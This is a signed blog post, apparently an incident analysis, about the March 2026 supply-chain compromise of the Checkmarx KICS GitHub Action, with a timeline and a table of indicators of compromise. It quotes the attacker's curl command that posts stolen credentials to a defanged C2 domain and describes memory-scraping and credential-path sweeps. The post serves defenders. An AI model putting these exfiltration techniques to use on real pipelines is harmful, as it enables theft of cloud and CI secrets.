-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"\"CRITICAL SECURITY ADVISORY: Repository compromised. Malware injected in all Git Tags.\"\n\nThat was cyril-flieller's GitHub issue title, filed at 15:56 UTC on March 23, 2026. Issue #152 on the Checkmarx KICS GitHub Action repository. He had read `setup.sh`. The KICS action came down 54 minutes later.\n\nEvery pipeline that ran KICS between 12:58 and 16:50 UTC on March 23 exfiltrated. The scan completed normally.\n\n## The scanner is the job that needs everything\n\nKICS -- Keeping Infrastructure as Code Secure -- scans IaC templates for misconfigurations in your cloud configuration. To scan your cloud infrastructure, it needs cloud credentials. To operate in CI, it gets `GITHUB_TOKEN`. It needs read access to the Terraform state, the Kubernetes config, the cloud provider credentials the pipeline passes in. In most organizations, the KICS step runs before tests, before deploy, with everything the pipeline trusts it with.\n\nThat is not a misconfiguration. That is the product working as designed.\n\nI know what environment a KICS step gets in a typical pipeline. When I look at the list -- `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, npm tokens, Docker credentials -- I am looking at the highest-credential non-deployment job in the pipeline. TeamPCP looked at the same list. They chose KICS specifically.\n\nThis is the [security-tool-as-primitive pattern](https://nefariousplan.com/patterns/security-tool-as-primitive): the privileged action of your security tool becomes the attack. The defender's hands become the attacker's hands. CVE-2026-33634 is the clearest instance in the catalog.\n\nOur lab confirmed what the stealer sees on a populated CI runner:\n\n```\n[+] FOUND: AWS_ACCESS_KEY_ID (length: 20)\n[+] FOUND: AWS_SECRET_ACCESS_KEY (length: 40)\n[+] FOUND: GITHUB_TOKEN (length: 32)\n[+] FOUND: NPM_TOKEN (length: 22)\n\nCredential exfiltration complete.\nCaptured: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, NPM_TOKEN\n```\n\n## All 35 tags, one force-push\n\nThe `cx-plugins-releases` Checkmarx service account was compromised using credentials stolen from Aqua Security's `aqua-bot` account during the Trivy wave four days earlier. At 12:58 UTC on March 23, all 35 tags in `Checkmarx/kics-github-action` were force-pushed to a malicious commit. The commit metadata was cloned from the legitimate commits each tag had pointed to: same author, same timestamp, same message. GitHub's \"Immutable\" badge on each release displayed normally. The tag existed. It now pointed at attacker-controlled code.\n\nThis is the [mutable-reference-as-immutable pattern](https://nefariousplan.com/patterns/mutable-reference-as-immutable). Git tags are not immutable. `@v2.1.20`, `@latest`, `@v2` -- every one is a mutable reference. A single force-push covers every consumer who has not pinned to a full commit SHA. All 35 tags. One operation.\n\nThe replacement `setup.sh` ran in three stages. Stage 1: read `/proc/[pid]/mem` from `Runner.Worker` processes, searching for the exact pattern GitHub Actions uses to store masked secrets in runner memory: `{\"value\":\"[secret]\",\"isSecret\":true}`. The runner keeps secrets in memory. The script extracted them directly from the process address space. Stage 2: sweep 50+ credential paths -- `~/.aws/credentials`, `~/.npmrc`, `~/.kube/config`, `~/.docker/config.json`, Terraform state files, SSH private keys, crypto wallet files. Stage 3: bundle everything into `tpcp.tar.gz`, encrypt with AES-256-CBC using a random session key wrapped with the attacker's RSA-4096 public key via OAEP, then POST it out:\n\n```bash\ncurl -s -o /dev/null -w %{http_code} -X POST https://checkmarx[.]zone \\\n -H \"Content-Type: application/octet-stream\" \\\n -H \"X-Filename: tpcp.tar.gz\" \\\n --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz\n```\n\nThe C2 domain is `checkmarx[.]zone`. In a CI log showing a KICS scan completing, a `curl` POST to what reads like a Checkmarx telemetry endpoint passes a fast review. Only the attacker can decrypt the payload: the AES session key is RSA-OAEP wrapped with their public key.\n\nIf the C2 was unreachable, the fallback used the stolen `GITHUB_TOKEN` to create a repository named `docs-tpcp` in the victim's GitHub organization and push the encrypted bundle there. The `GITHUB_TOKEN` a KICS step runs with has enough permission to create repositories. That was not a gap. KICS uses `GITHUB_TOKEN` to post scan annotations on pull requests. The scope required for annotations is the scope required for repository creation.\n\nNon-CI Linux systems got a persistence stage: a Python backdoor at `~/.config/sysmon/sysmon.py`, a systemd user service polling the C2 every 50 minutes, and on Kubernetes clusters, a privileged DaemonSet deployed across every node including the control plane.\n\n## The wave was not random\n\nThe KICS compromise did not begin here. It was wave two.\n\n| Date (UTC) | Event |\n|---|---|\n| Feb 20 | `hackerbot-claw` account created, begins scanning for exploitable `pull_request_target` workflows |\n| Feb 28 | Trivy compromised via PwnRequest; `aqua-bot` credentials exfiltrated |\n| Mar 19, 17:43 | `aquasecurity/trivy-action` -- 75 of 76 tags force-pushed. `aquasecurity/setup-trivy` -- all 7 tags |\n| Mar 19, 18:22 | Backdoored Trivy v0.69.4 published to Docker Hub, GHCR, ECR |\n| Mar 23, 12:58 | All 35 KICS tags force-pushed via compromised `cx-plugins-releases` |\n| Mar 23, 15:56 | cyril-flieller files GitHub issue #152 |\n| Mar 23, 16:50 | KICS GitHub Action taken down |\n| Mar 24 | LiteLLM v1.82.7 and v1.82.8 published to PyPI using stolen credentials |\n\nTrivy is a container and IaC vulnerability scanner. KICS is an IaC scanner. LiteLLM is an AI proxy that holds API keys for every model provider it routes to. TeamPCP did not pick targets at random. They targeted the tools that, by design, hold credentials to everything they touch.\n\nEach wave used a different typosquat C2 domain to avoid blocklists from the previous one: `scan.aquasecurtiy[.]org` for Trivy, `checkmarx[.]zone` for KICS, `models.litellm[.]cloud` for LiteLLM. The domains read like vendor telemetry endpoints. `aquasecurtiy` for `aquasecurity`. `checkmarx.zone` for `checkmarx.com`. The analyst reviewing egress at 2 AM does not catch a transposed vowel.\n\nStolen Trivy credentials funded the KICS compromise. Stolen KICS credentials funded LiteLLM. Each compromise harvesting the credentials that opened the next target.\n\n## The C2 that cannot be taken down\n\nWithin 24 hours of the Trivy compromise, stolen npm tokens propagated a self-replicating worm -- CanisterWorm -- across 66+ npm packages. This is the [self-propagating supply chain](https://nefariousplan.com/patterns/self-propagating-supply-chain) pattern: each infected package harvests the credentials that fund the next wave. The worm's C2 is an ICP blockchain smart contract at `tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io`.\n\nThe canister is a decentralized smart contract. There is no registrar to call, no hosting provider to contact, no single point of takedown. It exposes three methods: `get_latest_link`, `http_request`, `update_link`. The attacker can rotate the payload URL across all infected machines by calling `update_link`, without republishing any npm package.\n\nThe kill switch is documented in the code: if the canister response contains the string \"youtube\", the backdoor skips execution. That detail shipped in the published version. The attacker documented their operational posture and published it anyway. They expected it would not matter.\n\nMachines that ran the malicious packages and were not fully remediated are still polling the canister every 50 minutes via `pgmon.service`, masquerading as a PostgreSQL monitoring daemon.\n\nBitwarden's CLI was caught in the same campaign on April 22, via a compromised npm token from the KICS wave. 334 users downloaded `@bitwarden/cli@2026.4.0` during the 93-minute window before Bitwarden contained it. The question was never whether Bitwarden's vault was breached. The question was whether a password manager's CLI had swept the credentials off 334 developer machines.\n\n## The indicators are already in your logs\n\nIf your pipeline ran `Checkmarx/kics-github-action` at any tag between 12:58 and 16:50 UTC on March 23, or `aquasecurity/trivy-action` between 17:43 March 19 and 05:40 March 20, treat your CI secrets as compromised.\n\n| Indicator | Type |\n|---|---|\n| `KICS-Telemetry/2.0` | User-Agent in egress logs |\n| `checkmarx[.]zone` | KICS/LiteLLM wave C2 |\n| `audit.checkmarx[.]cx` | Exfil domain |\n| `scan.aquasecurtiy[.]org` | Trivy wave C2 |\n| `83.142.209.11`, `45.148.10.212` | C2 IPs |\n| `~/.config/sysmon/sysmon.py` | Backdoor |\n| `~/.config/systemd/user/pgmon.service` | CanisterWorm persistence |\n| `/tmp/pglog`, `/tmp/.pg_state` | CanisterWorm artifacts |\n| `docs-tpcp` repo in your GitHub orgs | GITHUB_TOKEN exfil fallback |\n| `18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a` | Trivy malicious entrypoint.sh |\n\nTwelve days after KICS was taken down, Checkmarx's response to the April 22 Bitwarden disclosure was to digest-pin their own Dockerfile base images and switch to consuming GitHub Actions by full commit SHA. They now do what they were building tooling to tell you to do. The security scanner learned the lesson the scanner should have been teaching.\n\nPoC: [raajheshkannaa/teampcp-goat](https://github.com/raajheshkannaa/teampcp-goat) / [ugurrates/teampcp-supply-chain-attack](https://github.com/ugurrates/teampcp-supply-chain-attack)","closing_line":"","hook_md":"The security scanner that tells you what is wrong with your infrastructure needs access to your infrastructure. That is the product working as designed. TeamPCP read the job description.","post_id":69,"slug":"checkmarx-kics-scanner-ran-so-did-their-code","title":"CVE-2026-33634: The Scanner Ran. So Did Their Code.","type":"initial","unreadable_sentence":"The `GITHUB_TOKEN` a KICS step runs with has enough permission to create repositories. That was not a gap."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCafEXHgAKCRDeZjl4jgkQ JqEbAQDv2Su/laugoy7LD+hBlpXVBDSibW6WC7Yg97uPyMccSgD9GEHumPqI29sA Nhsf4EaEKewTZn5z9fp/q0lT4JE1WQQ= =fqJ2 -----END PGP SIGNATURE-----